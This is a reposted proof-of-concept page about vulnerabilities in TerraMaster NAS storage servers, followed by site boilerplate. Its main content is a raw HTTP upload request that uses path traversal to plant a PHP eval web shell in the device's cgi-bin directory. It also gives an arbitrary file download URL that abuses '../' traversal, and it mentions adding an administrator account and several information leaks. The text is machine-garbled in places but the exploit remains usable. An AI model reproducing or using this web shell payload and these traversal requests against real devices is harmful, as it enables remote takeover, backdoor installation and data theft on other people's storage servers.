TerraMaster NAS Network Storage Server unlimited getshell and other vulnerabilities (poc)

Source: Internet
Author: User

TerraMaster NAS Network Storage Server unlimited getshell and other vulnerabilities (poc)

Unlimited getshell, add any administrator, download any file, multiple information leaks ..


 

POST/include/upload. php? TargetDir = .. /cgi-bin/filemanage/HTTP/1.1 Accept: text/* Content-Type: multipart/form-data; boundary = ---------- ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3User-Agent: Shockwave FlashHost: Address Content-Length: 722Proxy-Connection: keep-AlivePragma: no-cacheCookie: PHPSESSID = ------------ ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3Content-Disposition: form-data; name = "Filename" 1. php ------------ ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3Content-Di Sposition: form-data; name = "name" 1. php ------------ ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3Content-Disposition: form-data; name = "chunk" 0 ------------ ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3Content-Disposition: form-data; name = "chunks" 1 ------------ ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3Content-Disposition: form-data; name = "file "; filename = "1.php" Content-Type: application/octet-stream <? Php @ eval ($ _ POST ['kako']);?> ------------ Ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3Content-Disposition: form-data; name = "Upload" Submit Query ------------ ei4KM7ae0KM7GI3ei4cH2ei4KM7GI3 --
 


Add an account whose username is aaaaaa and whose password is aaaaaa
 


 





Download any file (note that the downloaded php source code is encrypted)

Http: // address/cgi-bin/filemanage/download. php? File = ../include/upload. php


 





Multiple information leaks are shown in the figure.
 


 

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.